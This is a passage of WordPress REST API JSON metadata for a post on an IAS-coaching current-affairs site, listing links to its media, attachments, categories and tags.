":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2442"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2442"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}